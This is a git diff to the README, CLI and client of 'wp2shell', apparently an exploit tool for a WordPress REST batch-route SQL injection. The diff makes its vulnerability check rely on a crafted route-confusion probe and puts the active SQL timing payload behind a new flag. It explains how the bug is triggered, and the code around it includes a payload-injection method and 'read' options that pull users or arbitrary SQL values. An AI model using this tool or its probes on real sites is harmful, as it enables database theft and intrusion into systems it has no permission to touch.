diff --git a/README.md b/README.md index 7c4bcba..bc30e71 100644 --- a/README.md +++ b/README.md @@ -69,16 +69,25 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`. ### check — confirm the vulnerability (safe) Prints passive WordPress markers and public version hints first, then sends a benign batch marker -probe. If the batch route behaves like WordPress, the probe should return HTTP 207 with markers -such as `parse_path_failed`, `block_cannot_read`, or `rest_batch_not_allowed`. After that, `check` -tries a paired timing confirmation. The timing step reads no data and changes nothing. By default -it sends three baseline/delayed pairs and decides on the median delta, which is more reliable on -noisy or rate-limited targets than a single timing comparison. +probe. A vulnerable batch implementation returns HTTP 207 with the route-confusion marker pattern +`parse_path_failed`, `block_cannot_read`, and `rest_batch_not_allowed`. -Treat the signals separately: an affected public version is strong triage evidence, while timing -confirmation proves the SQLi path reached the database. A WAF or edge rule can block the timing -payload, so a failed timing check is reported as "not timing-confirmed" rather than a clean bill of -health. +The marker probe is based on the WordPress core fix. The malformed `///` request creates +`parse_path_failed`; a `/wp/v2/posts` request acts as a batch-allowed spacer; the +`/wp/v2/block-renderer/...` route is not batch-allowed but returns `block_cannot_read` if its +handler is reached anonymously; `/batch/v1` gives `rest_batch_not_allowed`. On vulnerable builds +the parse error shifts the batch handler arrays out of step, so the spacer request is dispatched +under the block-renderer handler. Fixed builds keep the arrays aligned, so this exact all-three +pattern should not appear for the crafted probe. + +By default, `check` stops there and does not send a SQL timing payload. Use `--confirm-sqli` when +you also want the active paired timing confirmation. The timing step reads no data and changes +nothing; it sends three baseline/delayed pairs by default and decides on the median delta. + +Treat the signals separately: an affected public version is strong triage evidence, the batch +marker pattern confirms the vulnerable route-confusion behavior, and timing confirmation proves the +SQLi path reached the database. A WAF or edge rule can block the timing payload, so a failed timing +check does not override a positive marker probe. ``` ./wp2shell.py check http://target @@ -113,8 +122,9 @@ path. Remove it when finished. | `--rest-route` | all | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). | | `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). | | `--timeout N` | all | Request timeout in seconds. | -| `--sleep N` | check | Delay used to confirm the injection. | -| `--samples N` | check | Baseline/delayed timing pairs to compare (default 3). | +| `--sleep N` | check | Delay used with `--confirm-sqli`. | +| `--samples N` | check | Timing pairs used with `--confirm-sqli` (default 3). | +| `--confirm-sqli` | check | Also send the active SQL timing confirmation payload. | | `--preset` | read | `fingerprint` or `users`. | | `--query` | read | A scalar SQL expression to read. | | `--prefix` | read | Database table prefix (default `wp_`). | diff --git a/wp2shell/cli.py b/wp2shell/cli.py index 9455366..68fdd5b 100644 --- a/wp2shell/cli.py +++ b/wp2shell/cli.py @@ -115,10 +115,22 @@ def cmd_check(args: argparse.Namespace) -> int: return 1 markers = client.batch_marker_codes(probe) if markers: - good(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}") + info(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}") else: good("Batch endpoint reachable and unauthenticated (HTTP 207).") + route_confusion = client.has_route_confusion_markers(probe) + if route_confusion: + good("VULNERABLE — batch route-confusion behavior detected.") + if not args.confirm_sqli: + info("SQL timing confirmation not sent; use --confirm-sqli for the active SQLi probe.") + return 0 + elif not args.confirm_sqli: + bad("Route-confusion marker pattern not detected.") + if any(hint.affected for hint in hints): + warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.") + return 2 + result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples) if args.samples > 1: details = ", ".join( @@ -127,7 +139,13 @@ def cmd_check(args: argparse.Namespace) -> int: info(f"Timing samples: {details}") info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.") if result.confirmed: - good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") + good(f"SQL timing confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") + return 0 + if route_confusion: + warn( + f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected " + f"{result.delayed:.2f}s; route-confusion marker pattern still detected." + ) return 0 bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") if any(hint.affected for hint in hints): @@ -271,12 +289,22 @@ def build_parser() -> argparse.ArgumentParser: check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)") _add_common(check) - check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)") + check.add_argument( + "--sleep", + type=float, + default=3.0, + help="SQL timing delay used with --confirm-sqli (default: 3)", + ) check.add_argument( "--samples", type=int, default=3, - help="baseline/delayed timing pairs for confirmation (default: 3)", + help="baseline/delayed SQL timing pairs used with --confirm-sqli (default: 3)", + ) + check.add_argument( + "--confirm-sqli", + action="store_true", + help="also send the active SQL timing confirmation payload", ) check.set_defaults(func=cmd_check) diff --git a/wp2shell/client.py b/wp2shell/client.py index 94b9a81..d88a26d 100644 --- a/wp2shell/client.py +++ b/wp2shell/client.py @@ -99,11 +99,12 @@ class BatchClient: return self.post({"requests": []}) def marker_probe(self) -> Response: - """A benign batch that should produce stable WordPress REST error markers.""" + """A benign batch that exposes the vulnerable route-confusion alignment bug.""" return self.post( { "requests": [ _DESYNC_PRIMER, + {"method": "POST", "path": "/wp/v2/posts"}, {"method": "POST", "path": "/wp/v2/block-renderer/core/archives"}, {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}, ] @@ -133,6 +134,11 @@ class BatchClient: walk(body) return tuple(found) + @staticmethod + def has_route_confusion_markers(response: Response) -> bool: + codes = BatchClient.batch_marker_codes(response) + return all(code in codes for code in _BATCH_MARKER_CODES) + def inject(self, author_not_in: str) -> Response: """Send a payload placing `author_not_in` into the WP_Query author__not_in clause.""" return self.post(self._payload(author_not_in))